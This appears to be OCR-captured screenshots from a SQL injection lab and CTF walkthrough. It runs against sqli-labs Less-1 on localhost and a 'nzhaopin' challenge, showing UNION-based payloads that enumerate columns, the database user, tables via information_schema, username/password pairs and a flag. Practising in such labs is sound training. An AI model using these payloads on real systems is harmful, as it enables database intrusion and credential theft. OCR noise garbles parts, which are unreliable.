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Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1" at line 1
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Welcome
Your Login name:Dumb
Your Password:Dumb
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127.0.0.1/sqlilabs/Less-1/?id=-1" union select 1,2,3,4



o |® @ 127.0.0.1/sqlilabs/Less-1/2id=-1' union select 1,2,3,4--+ v oER v 1Y Ihn @D © 1 @
: Esmme @ FELE (P WessskiEs. (K] SiMEs. © S92 @ PTA | EmaHEsk.. & &8 @ Nessus Essentials /F... O BE

Welcome
The used SELECT statements have a different number of columns
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Welcome
Your Login name:2
Your Password:3
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Welcome
Your Login name:root@localhost
Your Password:security
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Welcome
Your Login name:2
Your Password:emails,referers,uagents,users
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Welcome
Your Login name:2

Your Passward:avatar failed_login,first_name,la gin,last_name,pa O ord,username,id, rd,username,id, password,username

KIusernameFpassword, BEBEFET

http://127.0.0.1/sqlilabs/Less-1/?id=-1%27%20union%20select’%201,2,group_concat(username, password)%20from%20users
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Dashboard

Home Dashboard
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Full Name

admin
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Yes,u are admin!
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Full Name

admin
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Yes,u are admin!



dbd3e575cef0f7ecf5f146004e1edd1a’ and 1=2 union select 1,2,3,4,5#

Full Name
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dbd3e575cef0f7ecf5f146004e1eddia’ and 1=2 union select 1,database(),3,4,5#

Full Name

zhaopin
nzhaop
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"and 1=2 union select 1,(select table_name from information_schema.tables where table_schema="nzhaopin' limit 0,1),3,4,5#
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Full Name

flag
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ect column_name from information_schema.columns where table_schema="nzhaopin' and table_name="flag’ limit 1,1),3,4,5#

Full Name

flaaag

dbd3e575cef0f7ecf5f146004e1e4d1a’ and 1=2 union select 1,(select flaaag from nzhaopin.flag),3,4,5%

Full Name

flag{f0d4ec20-1d71-40a7-a447-385d082e5f84}
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